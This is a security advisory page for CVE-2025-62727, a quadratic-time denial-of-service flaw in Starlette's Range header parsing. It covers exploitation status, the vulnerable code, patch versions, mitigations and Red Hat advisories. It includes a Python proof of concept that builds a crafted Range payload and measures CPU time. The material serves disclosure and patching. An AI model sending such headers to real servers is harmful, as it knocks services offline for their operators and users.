CVE-2025-62727 is a high-severity (CVSS 7.5) CWE-407 vulnerability in starlette. A fix is available for starlette — see the affected versions and patch details below.
Starlette vulnerable to O(n^2) DoS via Range header merging in starlette.responses.FileResponse
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-62727.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
starletteReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse).
Details
Starlette parses multi-range requests in FileResponse._parse_range_header(), then merges ranges using an O(n^2) algorithm.
# starlette/responses.py
_RANGE_PATTERN = re.compile(r"(\d*)-(\d*)") # vulnerable to O(n^2) complexity ReDoS
class FileResponse(Response):
@staticmethod
def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]:
ranges: list[tuple[int, int]] = []
try:
units, range_ = http_range.split("=", 1)
except ValueError:
raise MalformedRangeHeader()
# [...]
ranges = [
(
int(_[0]) if _[0] else file_size - int(_[1]),
int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,
)
for _ in _RANGE_PATTERN.findall(range_) # vulnerable
if _ != ("", "")
]
The parsing loop of FileResponse._parse_range_header() uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted Range header can maximize its complexity.
The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.
This affects any Starlette application that uses:
starlette.staticfiles.StaticFiles(internally returnsFileResponse) —starlette/staticfiles.py:178- Direct
starlette.responses.FileResponseresponses
PoC
#!/usr/bin/env python3
import sys
import time
try:
import starlette
from starlette.responses import FileResponse
except Exception as e:
print(f"[ERROR] Failed to import starlette: {e}")
sys.exit(1)
def build_payload(length: int) -> str:
"""Build the Range header value body: '0' * num_zeros + '0-'"""
return ("0" * length) + "a-"
def test(header: str, file_size: int) -> float:
start = time.perf_counter()
try:
FileResponse._parse_range_header(header, file_size)
except Exception:
pass
end = time.perf_counter()
elapsed = end - start
return elapsed
def run_once(num_zeros: int) -> None:
range_body = build_payload(num_zeros)
header = "bytes=" + range_body
# Use a sufficiently large file_size so upper bounds default to file size
file_size = max(len(range_body) + 10, 1_000_000)
print(f"[DEBUG] range_body length: {len(range_body)} bytes")
elapsed_time = test(header, file_size)
print(f"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\n")
if __name__ == "__main__":
print(f"[INFO] Starlette Version: {starlette.__version__}")
for n in [5000, 10000, 20000, 40000]:
run_once(n)
"""
$ python3 poc_dos_range.py
[INFO] Starlette Version: 0.48.0
[DEBUG] range_body length: 5002 bytes
[DEBUG] elapsed time: 0.053932 seconds
[DEBUG] range_body length: 10002 bytes
[DEBUG] elapsed time: 0.209770 seconds
[DEBUG] range_body length: 20002 bytes
[DEBUG] elapsed time: 0.885296 seconds
[DEBUG] range_body length: 40002 bytes
[DEBUG] elapsed time: 3.238832 seconds
"""
Impact
Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | starlette | ≥ 0.39.0&&< 0.49.1 | 0.49.1pip install --upgrade 'starlette==0.49.1' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for starlette, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update starlette to 0.49.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-62727 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
An IMPORTANT severity denial-of-service vulnerability was found in the Python Starlette ASGI framework, which is bundled with or used by a wide range of Red Hat offerings, including Red Hat Ansible Automation Platform, Red Hat OpenShift AI, Red Hat Enterprise Linux AI, Red Hat Satellite, Red Hat OpenShift distributed…
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.Source: Red Hat security advisory for CVE-2025-62727 (CC BY 4.0)
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat AI Inference Server 3.2 | rhaiis/vllm-cuda-rhel9:3.2.2-1765379088 | RHSA-2025:23078 |
| Red Hat AI Inference Server 3.2 | rhaiis/vllm-rocm-rhel9:3.2.2-1765379049 | RHSA-2025:23079 |
| Red Hat AI Inference Server 3.2 | rhaiis/model-opt-cuda-rhel9:3.2.2-1764871796 | RHSA-2025:23080 |
| Red Hat AI Inference Server 3.2 | rhaiis/vllm-cuda-rhel9:1772160593 | RHSA-2026:3461 |
| Red Hat AI Inference Server 3.2 | rhaiis/vllm-rocm-rhel9:1772160625 | RHSA-2026:3462 |
| Red Hat Ansible Automation Platform 2.5 | ansible-automation-platform-25/lightspeed-chatbot-rhel8:2.5.251203 | RHSA-2025:23131 |
| Red Hat Ansible Automation Platform 2.6 | ansible-automation-platform-26/lightspeed-chatbot-rhel9:2.6 | RHSA-2025:23133 |
| Red Hat OpenShift AI 2.22 | rhoai/odh-feature-server-rhel9:v2.22.3-1763565765 | RHSA-2025:22759 |
Frequently Asked Questions
Is CVE-2025-62727 in your dependencies?
Find it across PyPI, including transitive dependencies.